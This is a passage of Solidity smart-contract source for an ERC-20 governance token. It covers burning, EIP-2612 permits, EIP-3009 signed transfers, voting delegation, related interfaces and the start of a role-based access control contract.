allowance"); // we treat max uint256 allowance value as an "unlimited" and // do not decrease allowance when it is set to "unlimited" value if(_allowance < type(uint256).max) { // update allowance value on the stack _allowance -= _value; // update the allowance value in storage transferAllowances[_from][msg.sender] = _allowance; // emit an improved atomic approve event (arXiv:1907.00903) emit Approval(msg.sender, _from, _allowance + _value, _allowance); // emit an ERC20 approval event to reflect the decrease emit Approval(_from, msg.sender, _allowance); } } } // at this point we know that either sender is ROLE_TOKEN_DESTROYER or // we burn own tokens or on behalf (in latest case we already checked and updated allowances) // we have left to execute balance checks and burning logic itself // non-zero burn value check require(_value != 0, "zero value burn"); // non-zero source address check - Zeppelin require(_from != address(0), "burn from the zero address"); // verify `_from` address has enough tokens to destroy // (basically this is a arithmetic overflow check) require(tokenBalances[_from] >= _value, "burn amount exceeds balance"); // perform burn: // decrease `_from` address balance tokenBalances[_from] -= _value; // decrease total amount of tokens value totalSupply -= _value; // update total token supply history __updateHistory(totalSupplyHistory, sub, _value); // destroy voting power associated with the tokens burnt __moveVotingPower(msg.sender, votingDelegates[_from], address(0), _value); // fire a burnt event emit Burnt(msg.sender, _from, _value); // emit an improved transfer event (arXiv:1907.00903) emit Transfer(msg.sender, _from, address(0), _value); // fire ERC20 compliant transfer event emit Transfer(_from, address(0), _value); } // ===== End: Minting/burning extension ===== // ===== Start: EIP-2612 functions ===== /** * @inheritdoc EIP2612 * * @dev Executes approve(_spender, _value) on behalf of the owner who EIP-712 * signed the transaction, i.e. as if transaction sender is the EIP712 signer * * @dev Sets the `_value` as the allowance of `_spender` over `_owner` tokens, * given `_owner` EIP-712 signed approval * * @dev Inherits the Multiple Withdrawal Attack on ERC20 Tokens (arXiv:1907.00903) * vulnerability in the same way as ERC20 `approve`, use standard ERC20 workaround * if this might become an issue: * https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit * * @dev Emits `Approval` event(s) in the same way as `approve` does * * @dev Requires: * - `_spender` to be non-zero address * - `_exp` to be a timestamp in the future * - `v`, `r` and `s` to be a valid `secp256k1` signature from `_owner` * over the EIP712-formatted function arguments. * - the signature to use `_owner` current nonce (see `nonces`). * * @dev For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification * * @param _owner owner of the tokens to set approval on behalf of, * an address which signed the EIP-712 message * @param _spender an address approved by the token owner * to spend some tokens on its behalf * @param _value an amount of tokens spender `_spender` is allowed to * transfer on behalf of the token owner * @param _exp signature expiration time (unix timestamp) * @param v the recovery byte of the signature * @param r half of the ECDSA signature pair * @param s half of the ECDSA signature pair */ function permit(address _owner, address _spender, uint256 _value, uint256 _exp, uint8 v, bytes32 r, bytes32 s) public override { // verify permits are enabled require(isFeatureEnabled(FEATURE_EIP2612_PERMITS), "EIP2612 permits are disabled"); // derive signer of the EIP712 Permit message, and // update the nonce for that particular signer to avoid replay attack!!! --------->>> ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ address signer = __deriveSigner(abi.encode(PERMIT_TYPEHASH, _owner, _spender, _value, nonces[_owner]++, _exp), v, r, s); // perform message integrity and security validations require(signer == _owner, "invalid signature"); require(block.timestamp < _exp, "signature expired"); // delegate call to `__approve` - execute the logic required __approve(_owner, _spender, _value); } // ===== End: EIP-2612 functions ===== // ===== Start: EIP-3009 functions ===== /** * @inheritdoc EIP3009 * * @notice Checks if specified nonce was already used * * @dev Nonces are expected to be client-side randomly generated 32-byte values * unique to the authorizer's address * * @dev Alias for usedNonces(authorizer, nonce) * * @param _authorizer an address to check nonce for * @param _nonce a nonce to check * @return true if the nonce was used, false otherwise */ function authorizationState(address _authorizer, bytes32 _nonce) public override view returns (bool) { // simply return the value from the mapping return usedNonces[_authorizer][_nonce]; } /** * @inheritdoc EIP3009 * * @notice Execute a transfer with a signed authorization * * @param _from token sender and transaction authorizer * @param _to token receiver * @param _value amount to be transferred * @param _validAfter signature valid after time (unix timestamp) * @param _validBefore signature valid before time (unix timestamp) * @param _nonce unique random nonce * @param v the recovery byte of the signature * @param r half of the ECDSA signature pair * @param s half of the ECDSA signature pair */ function transferWithAuthorization( address _from, address _to, uint256 _value, uint256 _validAfter, uint256 _validBefore, bytes32 _nonce, uint8 v, bytes32 r, bytes32 s ) public override { // ensure EIP-3009 transfers are enabled require(isFeatureEnabled(FEATURE_EIP3009_TRANSFERS), "EIP3009 transfers are disabled"); // derive signer of the EIP712 TransferWithAuthorization message address signer = __deriveSigner(abi.encode(TRANSFER_WITH_AUTHORIZATION_TYPEHASH, _from, _to, _value, _validAfter, _validBefore, _nonce), v, r, s); // perform message integrity and security validations require(signer == _from, "invalid signature"); require(block.timestamp > _validAfter, "signature not yet valid"); require(block.timestamp < _validBefore, "signature expired"); // use the nonce supplied (verify, mark as used, emit event) __useNonce(_from, _nonce, false); // delegate call to `__transferFrom` - execute the logic required __transferFrom(signer, _from, _to, _value); } /** * @inheritdoc EIP3009 * * @notice Receive a transfer with a signed authorization from the payer * * @dev This has an additional check to ensure that the payee's address * matches the caller of this function to prevent front-running attacks. * * @param _from token sender and transaction authorizer * @param _to token receiver * @param _value amount to be transferred * @param _validAfter signature valid after time (unix timestamp) * @param _validBefore signature valid before time (unix timestamp) * @param _nonce unique random nonce * @param v the recovery byte of the signature * @param r half of the ECDSA signature pair * @param s half of the ECDSA signature pair */ function receiveWithAuthorization( address _from, address _to, uint256 _value, uint256 _validAfter, uint256 _validBefore, bytes32 _nonce, uint8 v, bytes32 r, bytes32 s ) public override { // verify EIP3009 receptions are enabled require(isFeatureEnabled(FEATURE_EIP3009_RECEPTIONS), "EIP3009 receptions are disabled"); // derive signer of the EIP712 ReceiveWithAuthorization message address signer = __deriveSigner(abi.encode(RECEIVE_WITH_AUTHORIZATION_TYPEHASH, _from, _to, _value, _validAfter, _validBefore, _nonce), v, r, s); // perform message integrity and security validations require(signer == _from, "invalid signature"); require(block.timestamp > _validAfter, "signature not yet valid"); require(block.timestamp < _validBefore, "signature expired"); require(_to == msg.sender, "access denied"); // use the nonce supplied (verify, mark as used, emit event) __useNonce(_from, _nonce, false); // delegate call to `__transferFrom` - execute the logic required __transferFrom(signer, _from, _to, _value); } /** * @inheritdoc EIP3009 * * @notice Attempt to cancel an authorization * * @param _authorizer transaction authorizer * @param _nonce unique random nonce to cancel (mark as used) * @param v the recovery byte of the signature * @param r half of the ECDSA signature pair * @param s half of the ECDSA signature pair */ function cancelAuthorization( address _authorizer, bytes32 _nonce, uint8 v, bytes32 r, bytes32 s ) public override { // derive signer of the EIP712 ReceiveWithAuthorization message address signer = __deriveSigner(abi.encode(CANCEL_AUTHORIZATION_TYPEHASH, _authorizer, _nonce), v, r, s); // perform message integrity and security validations require(signer == _authorizer, "invalid signature"); // cancel the nonce supplied (verify, mark as used, emit event) __useNonce(_authorizer, _nonce, true); } /** * @dev Auxiliary function to verify structured EIP712 message signature and derive its signer * * @param abiEncodedTypehash abi.encode of the message typehash together with all its parameters * @param v the recovery byte of the signature * @param r half of the ECDSA signature pair * @param s half of the ECDSA signature pair */ function __deriveSigner(bytes memory abiEncodedTypehash, uint8 v, bytes32 r, bytes32 s) private view returns(address) { // build the EIP-712 hashStruct of the message bytes32 hashStruct = keccak256(abiEncodedTypehash); // calculate the EIP-712 digest "\x19\x01" ‖ domainSeparator ‖ hashStruct(message) bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct)); // recover the address which signed the message with v, r, s address signer = ECDSA.recover(digest, v, r, s); // return the signer address derived from the signature return signer; } /** * @dev Auxiliary function to use/cancel the nonce supplied for a given authorizer: * 1. Verifies the nonce was not used before * 2. Marks the nonce as used * 3. Emits an event that the nonce was used/cancelled * * @dev Set `_cancellation` to false (default) to use nonce, * set `_cancellation` to true to cancel nonce * * @dev It is expected that the nonce supplied is a randomly * generated uint256 generated by the client * * @param _authorizer an address to use/cancel nonce for * @param _nonce random nonce to use * @param _cancellation true to emit `AuthorizationCancelled`, false to emit `AuthorizationUsed` event */ function __useNonce(address _authorizer, bytes32 _nonce, bool _cancellation) private { // verify nonce was not used before require(!usedNonces[_authorizer][_nonce], "invalid nonce"); // update the nonce state to "used" for that particular signer to avoid replay attack usedNonces[_authorizer][_nonce] = true; // depending on the usage type (use/cancel) if(_cancellation) { // emit an event regarding the nonce cancelled emit AuthorizationCanceled(_authorizer, _nonce); } else { // emit an event regarding the nonce used emit AuthorizationUsed(_authorizer, _nonce); } } // ===== End: EIP-3009 functions ===== // ===== Start: DAO Support (Compound-like voting delegation) ===== /** * @notice Gets current voting power of the account `_of` * * @param _of the address of account to get voting power of * @return current cumulative voting power of the account, * sum of token balances of all its voting delegators */ function votingPowerOf(address _of) public view returns (uint256) { // get a link to an array of voting power history records for an address specified KV[] storage history = votingPowerHistory[_of]; // lookup the history and return latest element return history.length == 0? 0: history[history.length - 1].v; } /** * @notice Gets past voting power of the account `_of` at some block `_blockNum` * * @dev Throws if `_blockNum` is not in the past (not the finalized block) * * @param _of the address of account to get voting power of * @param _blockNum block number to get the voting power at * @return past cumulative voting power of the account, * sum of token balances of all its voting delegators at block number `_blockNum` */ function votingPowerAt(address _of, uint256 _blockNum) public view returns (uint256) { // make sure block number is not in the past (not the finalized block) require(_blockNum < block.number, "block not yet mined"); // Compound msg not yet determined // `votingPowerHistory[_of]` is an array ordered by `blockNumber`, ascending; // apply binary search on `votingPowerHistory[_of]` to find such an entry number `i`, that // `votingPowerHistory[_of][i].k <= _blockNum`, but in the same time // `votingPowerHistory[_of][i + 1].k > _blockNum` // return the result - voting power found at index `i` return __binaryLookup(votingPowerHistory[_of], _blockNum); } /** * @dev Reads an entire voting power history array for the delegate specified * * @param _of delegate to query voting power history for * @return voting power history array for the delegate of interest */ function votingPowerHistoryOf(address _of) public view returns(KV[] memory) { // return an entire array as memory return votingPowerHistory[_of]; } /** * @dev Returns length of the voting power history array for the delegate specified; * useful since reading an entire array just to get its length is expensive (gas cost) * * @param _of delegate to query voting power history length for * @return voting power history array length for the delegate of interest */ function votingPowerHistoryLength(address _of) public view returns(uint256) { // read array length and return return votingPowerHistory[_of].length; } /** * @notice Gets past total token supply value at some block `_blockNum` * * @dev Throws if `_blockNum` is not in the past (not the finalized block) * * @param _blockNum block number to get the total token supply at * @return past total token supply at block number `_blockNum` */ function totalSupplyAt(uint256 _blockNum) public view returns(uint256) { // make sure block number is not in the past (not the finalized block) require(_blockNum < block.number, "block not yet mined"); // `totalSupplyHistory` is an array ordered by `k`, ascending; // apply binary search on `totalSupplyHistory` to find such an entry number `i`, that // `totalSupplyHistory[i].k <= _blockNum`, but in the same time // `totalSupplyHistory[i + 1].k > _blockNum` // return the result - value `totalSupplyHistory[i].v` found at index `i` return __binaryLookup(totalSupplyHistory, _blockNum); } /** * @dev Reads an entire total token supply history array * * @return total token supply history array, a key-value pair array, * where key is a block number and value is total token supply at that block */ function entireSupplyHistory() public view returns(KV[] memory) { // return an entire array as memory return totalSupplyHistory; } /** * @dev Returns length of the total token supply history array; * useful since reading an entire array just to get its length is expensive (gas cost) * * @return total token supply history array */ function totalSupplyHistoryLength() public view returns(uint256) { // read array length and return return totalSupplyHistory.length; } /** * @notice Delegates voting power of the delegator `msg.sender` to the delegate `_to` * * @dev Accepts zero value address to delegate voting power to, effectively * removing the delegate in that case * * @param _to address to delegate voting power to */ function delegate(address _to) public { // verify delegations are enabled require(isFeatureEnabled(FEATURE_DELEGATIONS), "delegations are disabled"); // delegate call to `__delegate` __delegate(msg.sender, _to); } /** * @dev Powers the meta transaction for `delegate` - `delegateWithAuthorization` * * @dev Auxiliary function to delegate delegator's `_from` voting power to the delegate `_to` * @dev Writes to `votingDelegates` and `votingPowerHistory` mappings * * @param _from delegator who delegates his voting power * @param _to delegate who receives the voting power */ function __delegate(address _from, address _to) private { // read current delegate to be replaced by a new one address _fromDelegate = votingDelegates[_from]; // read current voting power (it is equal to token balance) uint256 _value = tokenBalances[_from]; // reassign voting delegate to `_to` votingDelegates[_from] = _to; // update voting power for `_fromDelegate` and `_to` __moveVotingPower(_from, _fromDelegate, _to, _value); // emit an event emit DelegateChanged(_from, _fromDelegate, _to); } /** * @notice Delegates voting power of the delegator (represented by its signature) to the delegate `_to` * * @dev Accepts zero value address to delegate voting power to, effectively * removing the delegate in that case * * @dev Compliant with EIP-712: Ethereum typed structured data hashing and signing, * see https://eips.ethereum.org/EIPS/eip-712 * * @param _to address to delegate voting power to * @param _nonce nonce used to construct the signature, and used to validate it; * nonce is increased by one after successful signature validation and vote delegation * @param _exp signature expiration time * @param v the recovery byte of the signature * @param r half of the ECDSA signature pair * @param s half of the ECDSA signature pair */ function delegateWithAuthorization(address _to, bytes32 _nonce, uint256 _exp, uint8 v, bytes32 r, bytes32 s) public { // verify delegations on behalf are enabled require(isFeatureEnabled(FEATURE_DELEGATIONS_ON_BEHALF), "delegations on behalf are disabled"); // derive signer of the EIP712 Delegation message address signer = __deriveSigner(abi.encode(DELEGATION_TYPEHASH, _to, _nonce, _exp), v, r, s); // perform message integrity and security validations require(block.timestamp < _exp, "signature expired"); // Compound msg // use the nonce supplied (verify, mark as used, emit event) __useNonce(signer, _nonce, false); // delegate call to `__delegate` - execute the logic required __delegate(signer, _to); } /** * @dev Auxiliary function to move voting power `_value` * from delegate `_from` to the delegate `_to` * * @dev Doesn't have any effect if `_from == _to`, or if `_value == 0` * * @param _by an address which executed delegate, mint, burn, or transfer operation * which had led to delegate voting power change * @param _from delegate to move voting power from * @param _to delegate to move voting power to * @param _value voting power to move from `_from` to `_to` */ function __moveVotingPower(address _by, address _from, address _to, uint256 _value) private { // if there is no move (`_from == _to`) or there is nothing to move (`_value == 0`) if(_from == _to || _value == 0) { // return silently with no action return; } // if source address is not zero - decrease its voting power if(_from != address(0)) { // get a link to an array of voting power history records for an address specified KV[] storage _h = votingPowerHistory[_from]; // update source voting power: decrease by `_value` (uint256 _fromVal, uint256 _toVal) = __updateHistory(_h, sub, _value); // emit an event emit VotingPowerChanged(_by, _from, _fromVal, _toVal); } // if destination address is not zero - increase its voting power if(_to != address(0)) { // get a link to an array of voting power history records for an address specified KV[] storage _h = votingPowerHistory[_to]; // update destination voting power: increase by `_value` (uint256 _fromVal, uint256 _toVal) = __updateHistory(_h, add, _value); // emit an event emit VotingPowerChanged(_by, _to, _fromVal, _toVal); } } /** * @dev Auxiliary function to append key-value pair to an array, * sets the key to the current block number and * value as derived * * @param _h array of key-value pairs to append to * @param op a function (add/subtract) to apply * @param _delta the value for a key-value pair to add/subtract */ function __updateHistory( KV[] storage _h, function(uint256,uint256) pure returns(uint256) op, uint256 _delta ) private returns(uint256 _fromVal, uint256 _toVal) { // init the old value - value of the last pair of the array _fromVal = _h.length == 0? 0: _h[_h.length - 1].v; // init the new value - result of the operation on the old value _toVal = op(_fromVal, _delta); // if there is an existing voting power value stored for current block if(_h.length != 0 && _h[_h.length - 1].k == block.number) { // update voting power which is already stored in the current block _h[_h.length - 1].v = uint192(_toVal); } // otherwise - if there is no value stored for current block else { // add new element into array representing the value for current block _h.push(KV(uint64(block.number), uint192(_toVal))); } } /** * @dev Auxiliary function to lookup for a value in a sorted by key (ascending) * array of key-value pairs * * @dev This function finds a key-value pair element in an array with the closest key * to the key of interest (not exceeding that key) and returns the value * of the key-value pair element found * * @dev An array to search in is a KV[] key-value pair array ordered by key `k`, * it is sorted in ascending order (`k` increases as array index increases) * * @dev Returns zero for an empty array input regardless of the key input * * @param _h an array of key-value pair elements to search in * @param _k key of interest to look the value for * @return the value of the key-value pair of the key-value pair element with the closest * key to the key of interest (not exceeding that key) */ function __binaryLookup(KV[] storage _h, uint256 _k) private view returns(uint256) { // if an array is empty, there is nothing to lookup in if(_h.length == 0) { // by documented agreement, fall back to a zero result return 0; } // check last key-value pair key: // if the key is smaller than the key of interest if(_h[_h.length - 1].k <= _k) { // we're done - return the value from the last element return _h[_h.length - 1].v; } // check first voting power history record block number: // if history was never updated before the block of interest if(_h[0].k > _k) { // we're done - voting power at the block num of interest was zero return 0; } // left bound of the search interval, originally start of the array uint256 i = 0; // right bound of the search interval, originally end of the array uint256 j = _h.length - 1; // the iteration process narrows down the bounds by // splitting the interval in a half oce per each iteration while(j > i) { // get an index in the middle of the interval [i, j] uint256 k = j - (j - i) / 2; // read an element to compare it with the value of interest KV memory kv = _h[k]; // if we've got a strict equal - we're lucky and done if(kv.k == _k) { // just return the result - pair value at index `k` return kv.v; } // if the value of interest is larger - move left bound to the middle else if (kv.k < _k) { // move left bound `i` to the middle position `k` i = k; } // otherwise, when the value of interest is smaller - move right bound to the middle else { // move right bound `j` to the middle position `k - 1`: // element at position `k` is greater and cannot be the result j = k - 1; } } // reaching that point means no exact match found // since we're interested in the element which is not larger than the // element of interest, we return the lower bound `i` return _h[i].v; } /** * @dev Adds a + b * Function is used as a parameter for other functions * * @param a addition term 1 * @param b addition term 2 * @return a + b */ function add(uint256 a, uint256 b) private pure returns(uint256) { // add `a` to `b` and return return a + b; } /** * @dev Subtracts a - b * Function is used as a parameter for other functions * * @dev Requires a ≥ b * * @param a subtraction term 1 * @param b subtraction term 2, b ≤ a * @return a - b */ function sub(uint256 a, uint256 b) private pure returns(uint256) { // subtract `b` from `a` and return return a - b; } // ===== End: DAO Support (Compound-like voting delegation) ===== } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "./ERC20Spec.sol"; import "./ERC165Spec.sol"; /** * @title ERC1363 Interface * * @dev Interface defining a ERC1363 Payable Token contract. * Implementing contracts MUST implement the ERC1363 interface as well as the ERC20 and ERC165 interfaces. */ interface ERC1363 is ERC20, ERC165 { /* * Note: the ERC-165 identifier for this interface is 0xb0202a11. * 0xb0202a11 === * bytes4(keccak256('transferAndCall(address,uint256)')) ^ * bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) ^ * bytes4(keccak256('approveAndCall(address,uint256)')) ^ * bytes4(keccak256('approveAndCall(address,uint256,bytes)')) */ /** * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @return true unless throwing */ function transferAndCall(address to, uint256 value) external returns (bool); /** * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `to` * @return true unless throwing */ function transferAndCall(address to, uint256 value, bytes memory data) external returns (bool); /** * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @return true unless throwing */ function transferFromAndCall(address from, address to, uint256 value) external returns (bool); /** * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `to` * @return true unless throwing */ function transferFromAndCall(address from, address to, uint256 value, bytes memory data) external returns (bool); /** * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * @param spender address The address which will spend the funds * @param value uint256 The amount of tokens to be spent */ function approveAndCall(address spender, uint256 value) external returns (bool); /** * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * @param spender address The address which will spend the funds * @param value uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format, sent in call to `spender` */ function approveAndCall(address spender, uint256 value, bytes memory data) external returns (bool); } /** * @title ERC1363Receiver Interface * * @dev Interface for any contract that wants to support `transferAndCall` or `transferFromAndCall` * from ERC1363 token contracts. */ interface ERC1363Receiver { /* * Note: the ERC-165 identifier for this interface is 0x88a7ca5c. * 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)")) */ /** * @notice Handle the receipt of ERC1363 tokens * * @dev Any ERC1363 smart contract calls this function on the recipient * after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * * @param operator address The address which called `transferAndCall` or `transferFromAndCall` function * @param from address The address which are token transferred from * @param value uint256 The amount of tokens transferred * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` * unless throwing */ function onTransferReceived(address operator, address from, uint256 value, bytes memory data) external returns (bytes4); } /** * @title ERC1363Spender Interface * * @dev Interface for any contract that wants to support `approveAndCall` * from ERC1363 token contracts. */ interface ERC1363Spender { /* * Note: the ERC-165 identifier for this interface is 0x7b04a2d0. * 0x7b04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)")) */ /** * @notice Handle the approval of ERC1363 tokens * * @dev Any ERC1363 smart contract calls this function on the recipient * after an `approve`. This function MAY throw to revert and reject the * approval. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * * @param owner address The address which called `approveAndCall` function * @param value uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` * unless throwing */ function onApprovalReceived(address owner, uint256 value, bytes memory data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title EIP-2612: permit - 712-signed approvals * * @notice A function permit extending ERC-20 which allows for approvals to be made via secp256k1 signatures. * This kind of “account abstraction for ERC-20” brings about two main benefits: * - transactions involving ERC-20 operations can be paid using the token itself rather than ETH, * - approve and pull operations can happen in a single transaction instead of two consecutive transactions, * - while adding as little as possible over the existing ERC-20 standard. * * @notice See https://eips.ethereum.org/EIPS/eip-2612#specification */ interface EIP2612 { /** * @notice EIP712 domain separator of the smart contract. It should be unique to the contract * and chain to prevent replay attacks from other domains, and satisfy the requirements of EIP-712, * but is otherwise unconstrained. */ function DOMAIN_SEPARATOR() external view returns (bytes32); /** * @notice Counter of the nonces used for the given address; nonce are used sequentially * * @dev To prevent from replay attacks nonce is incremented for each address after a successful `permit` execution * * @param owner an address to query number of used nonces for * @return number of used nonce, nonce number to be used next */ function nonces(address owner) external view returns (uint); /** * @notice For all addresses owner, spender, uint256s value, deadline and nonce, uint8 v, bytes32 r and s, * a call to permit(owner, spender, value, deadline, v, r, s) will set approval[owner][spender] to value, * increment nonces[owner] by 1, and emit a corresponding Approval event, * if and only if the following conditions are met: * - The current blocktime is less than or equal to deadline. * - owner is not the zero address. * - nonces[owner] (before the state update) is equal to nonce. * - r, s and v is a valid secp256k1 signature from owner of the message: * * @param owner token owner address, granting an approval to spend its tokens * @param spender an address approved by the owner (token owner) * to spend some tokens on its behalf * @param value an amount of tokens spender `spender` is allowed to * transfer on behalf of the token owner * @param v the recovery byte of the signature * @param r half of the ECDSA signature pair * @param s half of the ECDSA signature pair */ function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title EIP-3009: Transfer With Authorization * * @notice A contract interface that enables transferring of fungible assets via a signed authorization. * See https://eips.ethereum.org/EIPS/eip-3009 * See https://eips.ethereum.org/EIPS/eip-3009#specification */ interface EIP3009 { /** * @dev Fired whenever the nonce gets used (ex.: `transferWithAuthorization`, `receiveWithAuthorization`) * * @param authorizer an address which has used the nonce * @param nonce the nonce used */ event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce); /** * @dev Fired whenever the nonce gets cancelled (ex.: `cancelAuthorization`) * * @dev Both `AuthorizationUsed` and `AuthorizationCanceled` imply the nonce * cannot be longer used, the only difference is that `AuthorizationCanceled` * implies no smart contract state change made (except the nonce marked as cancelled) * * @param authorizer an address which has cancelled the nonce * @param nonce the nonce cancelled */ event AuthorizationCanceled(address indexed authorizer, bytes32 indexed nonce); /** * @notice Returns the state of an authorization, more specifically * if the specified nonce was already used by the address specified * * @dev Nonces are expected to be client-side randomly generated 32-byte data * unique to the authorizer's address * * @param authorizer Authorizer's address * @param nonce Nonce of the authorization * @return true if the nonce is used */ function authorizationState( address authorizer, bytes32 nonce ) external view returns (bool); /** * @notice Execute a transfer with a signed authorization * * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function transferWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external; /** * @notice Receive a transfer with a signed authorization from the payer * * @dev This has an additional check to ensure that the payee's address matches * the caller of this function to prevent front-running attacks. * @dev See https://eips.ethereum.org/EIPS/eip-3009#security-considerations * * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function receiveWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external; /** * @notice Attempt to cancel an authorization * * @param authorizer Authorizer's address * @param nonce Nonce of the authorization * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function cancelAuthorization( address authorizer, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title Access Control List * * @notice Access control smart contract provides an API to check * if specific operation is permitted globally and/or * if particular user has a permission to execute it. * * @notice It deals with two main entities: features and roles. * * @notice Features are designed to be used to enable/disable specific * functions (public functions) of the smart contract for everyone. * @notice User roles are designed to restrict access to specific * functions (restricted functions) of the smart contract to some users. * * @notice Terms "role", "permissions" and "set of permissions" have equal meaning * in the documentation text and may be used interchangeably. * @notice Terms "permission", "single permission" implies only one permission bit set. * * @notice Access manager is a special role which allows to grant/revoke other roles. * Access managers can only grant/revoke permissions which they have themselves. * As an example, access manager with no other roles set can only grant/revoke its own * access manager permission and nothing else. * * @notice Access manager permission should be treated carefully, as a super admin permission: * Access manager with even no other permission can interfere with another account by * granting own access manager permission to it and effectively creating more powerful * permission set than its own. * * @dev Both current and OpenZeppelin AccessControl implementations feature a similar API * to check/know "who is allowed to do this thing". * @dev Zeppelin implementation is more flexible: * - it allows setting unlimited number of roles, while current is limited to 256 different roles * - it allows setting an admin for each role, while current allows having only one global admin * @dev Current implementation is more lightweight: * - it uses only 1 bit per role, while Zeppelin uses 256 bits * - it allows setting up to 256 roles at once, in a single transaction, while Zeppelin allows * setting only one role in a single transaction * * @dev This smart contract is designed to be inherited by other * smart contracts which require access control management capabilities. * * @dev Access manager permission has a bit 255 set. * This bit must not be used by inheriting contracts for any other permissions/features. */ contract AccessControl { /** * @notice Access manager is responsible for assigning the roles to users, * enabling/disabling global features of the smart contract * @notice Access manager can add, remove and update user roles, * remove and update global features * * @dev Role ROLE_ACCESS_MANAGER allows modifying user roles and global features * @dev Role ROLE_ACCESS_MANAGER has single bit at position 255 enabled */ uint256 public constant ROLE_ACCESS_MANAGER = 0x8000000000000000000000000000000000000000000000000000000000000000; /** * @dev Bitmask representing all the possible permissions (super admin role) * @dev Has all the bits are enabled (2^256 - 1 value) */ uint256 private constant FULL_PRIVILEGES_MASK = type(uint256).max; // before 0.8.0: uint256(-1) overflows to 0xFFFF... /** * @notice Privileged addresses with defined roles/permissions * @notice In the context of ERC20/ERC721 tokens these can be permissions to * allow minting or burning tokens, transferring on behalf and so on * * @dev Maps user address to the permissions bitmask (role), where each bit * represents a permission * @dev Bitmask 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF * represents all possible permissions * @dev 'This' address mapping represents global features of the smart contract */ mapping(address => uint256) public userRoles; /** * @dev Fired in updateRole() and updateFeatures() * * @param _by operator which called the function * @param _to address which was granted/revoked permissions * @param _requested permissions requested * @param _actual permissions effectively set */ event RoleUpdated(address indexed _by, address indexed _to, uint256 _requested, uint256 _actual); /** * @notice Creates an access control instance, * setting contract creator to have full privileges */ constructor() { // contract creator has full privileges userRoles[msg.sender] = FULL_PRIVILEGES_MASK; } /** * @notice Retrieves globally set of features enabled * * @dev Effectively reads userRoles role for the contract itself * * @return 256-bit bitmask of the features enabled */ function features() public view returns(uint256) { // features are stored in 'this' address mapping of `userRoles` structure return userRoles[address(this)]; } /** * @notice Updates set of the globally enabled features (`features`), * taking into account sender's permissions * * @dev Requires transaction sender to have `ROLE_ACCESS_MANAGER` permission * @dev Function is left for backward compatibility with older versions * * @param _mask bitmask representing a set of features to enable/disable */ function updateFeatures(uint256 _mask) public { // delegate call to `updateRole` updateRole(address(this), _mask); } /** * @notice Updates set of permissions (role) for a given user, * taking into account sender's permissions. * * @dev Setting role to zero is equivalent to removing an all permissions * @dev Setting role to `FULL_PRIVILEGES_MASK` is equivalent to * copying senders' permissions (role) to the user * @dev Requires transaction sender to have `ROLE_ACCESS_MANAGER` permission * * @param operator address of a user to alter permissions for or zero * to alter global features of the smart contract * @param role bitmask representing a set of permissions to * enable/disable for a user specified */ function updateRole(address operator, uint256 role) public { // caller must have a permission to update user roles require(isSenderInRole(ROLE_ACCESS_MANAGER), "access denied"); // evaluate the role and reassign it userRoles[operator] = evaluateBy(msg.sender, userRoles[operator], role); // fire an event emit RoleUpdated(msg.sender, operator, role, userRoles[operator]); } /** * @notice Determines the permission bitmask an operator can set on the * target permission set * @notice Used to calculate the permission bitmask to be set when requested * in `updateRole` and `updateFeatures` functions * * @dev Calculated based on: * 1) operator's own permission set read from userRoles[operator] * 2) target permission set - what is already set on the target * 3) 